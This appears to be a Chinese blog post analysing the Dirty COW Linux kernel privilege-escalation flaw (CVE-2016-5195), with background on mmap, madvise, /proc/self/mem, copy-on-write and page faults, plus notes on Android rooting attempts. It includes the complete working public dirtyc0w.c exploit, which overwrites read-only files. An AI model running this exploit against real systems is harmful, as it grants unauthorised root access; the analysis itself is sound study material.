Linux高危漏洞Dirtycow整理

Introduction

本文内容多为转发整理。
2016年10月18日,黑客Phil Oester提交了隐藏长达9年之久的“脏牛漏洞(Dirty COW)”0day漏洞,2016年10月20日,Linux内核团队成员、Linux的创始人Linus修复了这个 0day漏洞,该漏洞是Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。黑客可以获取低权限的本地用户后,利用此漏洞获取其他只读内存映射的写权限,进一步获取root权限。

漏洞基本信息

漏洞编号 CVE-2016-5195
漏洞类型 内核竞态条件漏洞
漏洞危害 本地提权
影响范围 Linux kernel>2.6.22 (released in 2007)
官方github放出的POC已经可以实现向任意可读文件写任意内容,所以有了这POC基本上也就可以拿到rootshell了。

通常 Exp 和 PoC 都是可执行的漏洞利用脚本/程序
区别主要在于是否恶意
PoC 是 Proof of Concept (概念验证)
通常是内含无害的漏洞代码,比如弹出一个计算器什么的
Exp 是 Exploit (漏洞利用)
通常是内含恶意的漏洞代码

dirtycow POC代码

/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,(uintptr_t) map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}


int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3) {
  (void)fprintf(stderr, "%s\n",
      "usage: dirtyc0w target_file new_content");
  return 1; }
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}

代码中的函数

mmap

定义函数:void mmap(void start, size_t length, int prot, int flags, int fd, off_t offsize);

参数 说明
start 指向欲对应的内存起始地址,通常设为NULL,代表让系统自动选定地址,对应成功后该地址会返回。
length 代表将文件中多大的部分对应到内存。
prot 代表映射区域的保护方式,有下列组合:PROT_EXEC 映射区域可被执行;PROT_READ 映射区域可被读取;PROT_WRITE 映射区域可被写入;PROT_NONE 映射区域不能存取。
flags 会影响映射区域的各种特性:MAP_FIXED 如果参数 start 所指的地址无法成功建立映射时,则放弃映射,不对地址做修正。通常不鼓励用此旗标。MAP_SHARED 对应射区域的写入数据会复制回文件内,而且允许其他映射该文件的进程共享。MAP_PRIVATE 对应射区域的写入操作会产生一个映射文件的复制,即私人的”写入时复制” (copy on write)对此区域作的任何修改都不会写回原来的文件内容。MAP_ANONYMOUS 建立匿名映射,此时会忽略参数fd,不涉及文件,而且映射区域无法和其他进程共享。MAP_DENYWRITE 只允许对应射区域的写入操作,其他对文件直接写入的操作将会被拒绝。MAP_LOCKED 将映射区域锁定住,这表示该区域不会被置换(swap)。在调用mmap()时必须要指定MAP_SHARED 或MAP_PRIVATE。
fd open()返回的文件描述词,代表欲映射到内存的文件。
offset 文件映射的偏移量,通常设置为0,代表从文件最前方开始对应,offset必须是分页大小的整数倍。

mmap是一种内存映射文件的方法,即将一个文件或者其它对象映射到进程的地址空间,实现文件磁盘地址和进程虚拟地址空间中一段虚拟地址的一一对映关系。实现这样的映射关系后,进程就可以采用指针的方式读写操作这一段内存,而系统会自动回写脏页面到对应的文件磁盘上,即完成了对文件的操作而不必再调用read,write等系统调用函数。相反,内核空间对这段区域的修改也直接反映用户空间,从而可以实现不同进程间的文件共享
认真分析mmap:是什么 为什么 怎么用

madvice

#include <sys/mman.h>
int madvise(void *addr, size_t length, int advice);

这个函数是用来建议内核对addr~addr+len这部分内存进行何种操作。在常规建议值中,除了MADV_DONTNEED都不会影响程序的语义,只是会影响性能。

  • MADV_DONTNEED 近期将不会被访问。内核将释放掉这一块内存以节省空间,相应的页表项也会被置空。

write

open write 和 fopen fwrite的区别
f的是缓冲文件系统,特点是在内存开辟一个“缓冲区”,为程序中的每一个文件使用,当执行读文件的操作时,从磁盘文件将数据先读入内存“缓冲区”, 装满后再从内存“缓冲区”依此读入接收的变量。执行写文件的操作时,先将数据写入内存“缓冲区”,待内存“缓冲区”装满后再写入文件。由此可以看出,内存 “缓冲区”的大小,影响着实际操作外存的次数,内存“缓冲区”越大,则操作外存的次数就少,执行速度就快、效率高。一般来说,文件“缓冲区”的大小随机器 而定。fopen, fclose, fread, fwrite, fgetc, fgets, fputc, fputs, freopen, fseek, ftell, rewind等
而非缓冲文件系统是借助文件结构体指针来对文件进行管理,通过文件指针来对文件进行访问,既可以读写字符、字符串、格式化数据,也可以读写二进制数 据。非缓冲文件系统依赖于操作系统,通过操作系统的功能对文件进行读写,是系统级的输入输出,它不设文件结构体指针,只能读写二进制文件,但效率高、速度 快,由于ANSI标准不再包括非缓冲文件系统,因此建议大家最好不要选择它。
open 是系统调用 返回的是文件句柄,文件的句柄是文件在文件描述副表里的索引,fopen是C的库函数,返回的是一个指向文件结构的指针。

前者属于低级IO,后者是高级IO。
前者返回一个文件描述符(用户程序区的),后者返回一个文件指针。
前者无缓冲,后者有缓冲。
前者与 read, write 等配合使用, 后者与 fread, fwrite等配合使用。
后者是在前者的基础上扩充而来的,在大多数情况下,用后者。

pthread

并行计算实验(五)Pthread – FindSpace

储备知识

写时复制(写时拷贝,copy on write)

传统的fork()系统调用直接把所有的资源复制给新创建的进程。这种实现过于简单并且效率低下,因为它拷贝的数据也许并不共享,更糟的情况是,如果新进程打算立即执行一个新的映像,那么所有的拷贝都将前功尽弃。Linux的fork()使用写时拷贝(copy-on-write)页实现。写时拷贝是一种可以推迟甚至免除拷贝数据的技术。内核此时并不复制整个进程地址空间,而是让父进程和子进程共享同一个拷贝。只有在需要写入的时候,数据才会被复制,从而使各个进程拥有各自的拷贝。也就是说,资源的复制只有在需要写入的时候才进行,在此之前,只是以只读方式共享。这种技术使地址空间上的页的拷贝被推迟到实际发生写入的时候。在页根本不会被写入的情况下—举例来说,fork()后立即调用exec()—它们就无需复制了。fork()的实际开销就是复制父进程的页表以及给子进程创建惟一的进程描述符。在一般情况下,进程创建后都会马上运行一个可执行的文件,这种优化可以避免拷贝大量根本就不会被使用的数据(地址空间里常常包含数十兆的数据)。由于Unix强调进程快速执行的能力,所以这个优化是很重要的。这里补充一点:Linux COW与exec没有必然联系
在网上看到还有个细节问题就是,fork之后内核会通过将子进程放在队列的前面,以让子进程先执行,以免父进程执行导致写时复制,而后子进程执行exec系统调用,因无意义的复制而造成效率的下降。
实际上COW技术不仅仅在Linux进程上有应用,其他例如C++的String在有的IDE环境下也支持COW技术

竞争条件( Race condition)

竞争条件指多个线程或者进程在读写一个共享数据时结果依赖于它们执行的相对时间的情形。
竞争条件发生在当多个进程或者线程在读写数据时,其最终的的结果依赖于多个进程的指令执行顺序。

页式内存管理

简单页内存管理—>
原理:进程被组织成若干页,形成的页表。页表中的每一项包括页号、偏移地址、控制位(如修改位,读取位等)等。当进程运行时进程页被全部加载到内存中(在没有覆盖技术的系统中,反之,则可以部分加入)。当cpu 发生存储器访问(寻址)时,会发生逻辑地址(进程页号,偏移地址)到物理地址或实地址(内存帧号,偏移地址表示)的转换。即通过逻辑地址的进程页号作为索引,和基址寄存器(存放页表的起始地址=程序运行的首地址)指定的进程页表,索引到由操作系统维护的空闲内存帧列表中的内存帧(用帧号表示)。再通过帧号+偏移地址得到一个物理地址。
注意一个概念,进程的页表由进程自身维护(用于描述自身的页)。而操作系统也会维护一个空闲内存帧表(由操作系统创建维护,用以描述空闲内存的帧)。这个概念在段式内存管理中同样适用。
另外,和虚拟内存页管理不同的是,简单页内存管理不要求进程的所有页被加入内存。
存在内部碎片,没有外部碎片。
进程页大小=内存帧大小
虚拟内存下的页内存管理–>
原理:基本和简单页式内存管理别无二致。唯一不同的是,进程运行时,不要求进程页表中的所有页被映射到内存帧。根据使用时,用到某个页,现在当前内存驻留页中查找是否存在该页,如果有直接存取。否则,通过一个缺页错误(缺页中断)就从磁盘中加载此缺页。另外,如果当前内存中内存已满,则某些页会被换出内存(写回磁盘)。
极端的是,当进程被挂起时,在这之前,该进程的所有页都将被换出内存,当进程唤醒时,再加入内存。

缺页中断处理

缺页中断发生时的事件顺序如下:
1) 硬件陷入内核,在堆栈中保存程序计数器。大多数机器将当前指令的各种状态信息保存在特殊的CPU寄存器中。
2) 启动一个汇编代码例程保存通用寄存器和其他易失的信息,以免被操作系统破坏。这个例程将操作系统作为一个函数来调用。
3) 当操作系统发现一个缺页中断时,尝试发现需要哪个虚拟页面。通常一个硬件寄存器包含了这一信息,如果没有的话,操作系统必须检索程序计数器,取出这条指令,用软件分析这条指令,看看它在缺页中断时正在做什么。
4) 一旦知道了发生缺页中断的虚拟地址,操作系统检查这个地址是否有效,并检查存取与保护是否一致。如果不一致,向进程发出一个信号或杀掉该进程。如果地址有效且没有保护错误发生,系统则检查是否有空闲页框。如果没有空闲页框,执行页面置换算法寻找一个页面来淘汰。
5) 如果选择的页框“脏”了,安排该页写回磁盘,并发生一次上下文切换,挂起产生缺页中断的进程,让其他进程运行直至磁盘传输结束。无论如何,该页框被标记为忙,以免因为其他原因而被其他进程占用。
6) 一旦页框“干净”后(无论是立刻还是在写回磁盘后),操作系统查找所需页面在磁盘上的地址,通过磁盘操作将其装入。该页面被装入后,产生缺页中断的进程仍然被挂起,并且如果有其他可运行的用户进程,则选择另一个用户进程运行。
7) 当磁盘中断发生时,表明该页已经被装入,页表已经更新可以反映它的位置,页框也被标记为正常状态。
8) 恢复发生缺页中断指令以前的状态,程序计数器重新指向这条指令。
9) 调度引发缺页中断的进程,操作系统返回调用它的汇编语言例程。
10) 该例程恢复寄存器和其他状态信息,返回到用户空间继续执行,就好像缺页中断没有发生过一样。

/proc/self/mem

Proc是一个虚拟文件系统,在Linux系统中它被挂载于/proc目录之上。Proc有多个功能 ,这其中包括用户可以通过它访问内核信息或用于排错,这其中一个非常有 用的功能,也是Linux变得更加特别的功能就是以文本流的形式来访问进程信息。很Linux命令(比如 ps、toPpstree等)都需要使用这个文件系统的信息。
在/proc文件系统中,每一个进程都有一个相应的文件 。下面是/proc目录下的一些重要文件 :
/proc/pid/cmdline 包含了用于开始进程的命令 ;
/proc/pid/cwd包含了当前进程工作目录的一个链接 ;
/proc/pid/environ 包含了可用进程环境变量的列表 ;
/proc/pid/exe 包含了正在进程中运行的程序链接;
/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接;
/proc/pid/mem 包含了进程在内存中的内容;
/proc/pid/stat包含了进程的状态信息;
/proc/pid/statm 包含了进程的内存使用信息。

The /proc/self/ directory is a link to the currently running process. This allows a process to look at itself without having to know its process ID.
/proc/self/目录则是当前进程的信息,比如写一个c程序查看/proc/self/status文件的内容,打印出的是这个c程序的状态,直接从bash查看这个文件则看到的是bash的信息。
/proc/self/mem这个文件是一个指向当前进程的虚拟内存文件的文件,当前进程可以通过对这个文件进行读写以直接读写虚拟内存空间,并无视内存映射时的权限设置。也就是说我们可以利用写/proc/self/mem来改写不具有写权限的虚拟内存。可以这么做的原因是/proc/self/mem是一个文件,只要进程对该文件具有写权限,那就可以随便写这个文件了,只不过对这个文件进行读写的时候需要一遍访问内存地址所需要寻页的流程。因为这个文件指向的是虚拟内存。

触发原理和控制流分析

【漏洞分析】CVE-2016-5195 Dirtycow: Linux内核提权漏洞分析

get_user_pages{//这是一个Wrap
    ...
    return __get_user_pages() //获取用户内存的核心函数
    ...
}
__get_user_pages(vma,...,int flag,...){
    ...
    retry:
        ...
        page = follow_page_mask(...,flag,...); //获取页表项
       if (!page) {
            int ret;
            ret = faultin_page(vma,...); //获取失败时会调用这个函数
            switch (ret) {
               case 0://如果返回为0,就重试,这是一个循环
               goto retry;
            ...

        }
}
follow_page_mask(...,flag,...){
    //这个函数会走 页一集目录->二级目录->页表项 的传统页式内存的管理流程
    ...
    return follow_page_pte(...,flag,...); //走到了流程的第三步:寻找页表项
    ...
}
follow_page_pte(...,flag,...){
    ...
    //如果获取页表项时要求页表项所指向的内存映射具有写权限,但是页表项所指向的内存并没有写权限。则会返回空
    if ((flags & FOLL_WRITE) && !pte_write(pte)) { 
       pte_unmap_unlock(ptep, ptl);
       return NULL;
    }

    //获取页表项的请求不要求内存映射具有写权限的话会返回页表项
    return pages;
    ...
}
faultin_page(vma,){
    ...
    //处理page fault
    ret = handle_mm_fault();
    //这个if对应了上一个函数的注释,如果是因为映射没有写权限导致的获取页表项失败,会去掉flags中的FOLL_WRITE标记,从而使的获取页表项不再要求内存映射具有写的权限。
    if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
       *flags &= ~FOLL_WRITE;
    ...
    return 0;
}
handle_mm_fault(){
    __handle_mm_fault()
}
__handle_mm_fault(){
    handle_pte_fault()
}
handle_pte_fault(){
    //页表为空,说明缺页。调用do_fault调页
    if (!fe->pte) {
          ... 
         return do_fault(fe);
   }
   //页表不为空,但是要写入的页没有写权限,这时可能需要COW
   if (fe->flags & FAULT_FLAG_WRITE) {
        if (!pte_write(entry))
            return do_wp_page(fe, entry);
        ...
    }
}
do_fault(fe){
    //如果不要求目标内存具有写权限时导致缺页,内核不会执行COW操作产生副本
    if (!(fe->flags & FAULT_FLAG_WRITE))
        return do_read_fault(fe, pgoff);
    //如果要求目标内存具有写权限时导致缺页,目标内存映射是一个VM_PRIVATE的映射,内核会执行COW操作产生副本
    if (!(vma->vm_flags & VM_SHARED))
        return do_cow_fault(fe, pgoff);
}
do_cow_fault(fe,pgoff){
    //执行COW, 并更新页表为COW后的页表。
    new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, fe->address);
    ...
    // __do_fault会将内存
    ret = __do_fault(fe, pgoff, new_page, &fault_page, &fault_entry);
    ... 
        copy_user_highpage(new_page, fault_page, fe->address, vma);
    ret |= alloc_set_pte(fe, memcg, new_page);
    ...
    return ret
}
do_read_fault(fe,pgoff){
    ...
    //不执行COW,直接映射文件。
    __do_fault(fe, pgoff, NULL, &fault_page, NULL);
    ...
    ret |= alloc_set_pte(fe, NULL, fault_page);
    ...
    ret
}
alloc_set_pte(fe,...){
    bool write = fe->flags & FAULT_FLAG_WRITE;
    //如果执行了COW,设置页表时会将页面标记为脏,但是不会标记为可写。
    if (write)
        entry = maybe_mkwrite(pte_mkdirty(entry), vma);
}
do_wp_page(fe,entry){
     ....
     //内核通过检查,发现COW操作已经在缺页处理时完成了,所以不再进行COW,而是直接利用之前COW得到的页表项
     return wp_page_reuse(fe, orig_pte, old_page, 0, 0);
}
wp_page_reuse(){
     将页面标记为脏,但是不会标记为可写。
     entry = maybe_mkwrite(pte_mkdirty(entry), vma);
}
maybe_mkwrite(){
    //这就是maybe_mkwrite不会标记页为可写的原因,因为这个页为只读页。所以不满足if的条件
    if (likely(vma->vm_flags & VM_WRITE))
        pte = pte_mkwrite(pte);
    return pte;
}

Android上的dirtycow

CVE-2016-5195 (dirtycow/dirtyc0w) proof of concept for Android尽管在android上也验证了这个漏洞的存在,但是实际上,现在为止,还没有比较便捷完整的利用这个漏洞获取root权限的方法。在github上该项目的issue里,有个900+回复的issue,各路大神讨论了各种方法,现在还在探索中。这里针对这个issue的讨论简单整理下。
当然该漏洞一个问题是只能重写源文件大小的数据。
验证漏洞存在,最后获得了一个uid为0的用户,但是由于SELinux的存在,即使或的了uid0的用户,也不允许对/system分区进行写操作。

SELinux 与强制访问控制系统
SELinux 全称 Security Enhanced Linux (安全强化 Linux),是 MAC (Mandatory Access Control,强制访问控制系统)的一个实现,目的在于明确的指明某个进程可以访问哪些资源(文件、网络端口等)。
强制访问控制系统的用途在于增强系统抵御 0-Day 攻击(利用尚未公开的漏洞实现的攻击行为)的能力。所以它不是网络防火墙或 ACL 的替代品,在用途上也不重复。
举例来说,系统上的 Apache 被发现存在一个漏洞,使得某远程用户可以访问系统上的敏感文件(比如 /etc/passwd 来获得系统已存在用户),而修复该安全漏洞的 Apache 更新补丁尚未释出。此时 SELinux 可以起到弥补该漏洞的缓和方案。因为 /etc/passwd 不具有 Apache 的访问标签,所以 Apache 对于 /etc/passwd 的访问会被 SELinux 阻止。
相比其他强制性访问控制系统,SELinux 有如下优势:
+ 控制策略是可查询而非程序不可见的。
+ 可以热更改策略而无需重启或者停止服务。
+ 可以从进程初始化、继承和程序执行三个方面通过策略进行控制。
+ 控制范围覆盖文件系统、目录、文件、文件启动描述符、端口、消息接口和网络接口。

但是对于绝大多数桌面级的linux来说,SELinux默认都是关闭的,所以这个漏洞基本都中枪了。
when you run app_process manually, it runs in u:r:shell:s0 context.
We need it to be in either system_server or zygote context.
进展一:通过重写自带的app_process32文件,设置当前进程的con是system_server,然后加载自定义的内核文件。
利用这个方法,@chaosmaster 获得了一个root shell,但是依旧不能对system挂载写。
进展二:建立了虚拟的设备,然后将system文件夹cp过去,添加了su文件,并利用mount -o bindmount成新的system。
总结可能的思路:
+ 写一个开机自启的app来替换app_process文件
+ 修改原有app_source的源码已子进程的方式调用。
+ 设置用户的con为system_server,挂载自定义内核,mount自定义system/xbin,最后运行su -d。

发现利用system_server 安装内核的功能被fix了。
主要问题在于设置SELinux为permissive模式或者关掉它。
思路三:利用网络调试,获得一个debuggerd的context,可以对进程进行hot-patching

替换bash为lsh或者busybox之类

the only way so far I have found to disable SELinux is with the kernel module and load it from the system_server context but this only works on phones that haven’t updated the SELinux policies in ages.

if your phone has write protection (like most phones) you shouldn’t try to remount rw, but mount something else instead. Use dmesg, it should tell you what is going on.

Also try mounting something else to /system/xbin instead of remounting /system rw.

The write protection is hardware-based via SuperVisor so it doesn’t really matter if the kernel thinks it can write to the device: it can not.

still on processing…

Reference

Dirtycow 主页
【漏洞分析】CVE-2016-5195 Dirtycow: Linux内核提权漏洞分析
CVE-2016-5195脏牛(Dirty COW) 漏洞分析报告
深入分析CVE-2016-5195 Dirtycow
安全编程: 避免竞争条件
C++的std::string的“读时也拷贝”技术!
关于linux内核fork后cow(写时复制)的代码分析
内存管理:02虚拟存储器
<深入浅出>进程地址空间与缺页
fstat(2) – Linux man page
认真分析mmap:是什么 为什么 怎么用
C语言mmap()函数:建立内存映射
madvise – give advice about use of memory
页式管理
fopen与open的区别
现代操作系统(原书第3版)
Proc令系统信息了如指掌
How do you spawn a shell after exploit?

文章若未注明转载皆为原创,如需转载请注明本文原文地址http://www.findspace.name/easycoding/1802,文章markdown格式源码现已开放,欢迎转载。文章源码地址:https://github.com/FindHao/FindSpace.name Star

分享到:

Find

Find

新浪微博(FindSpace博客):QQ群:不安分的Coder(375670127) 不安分的Coder

You may also like...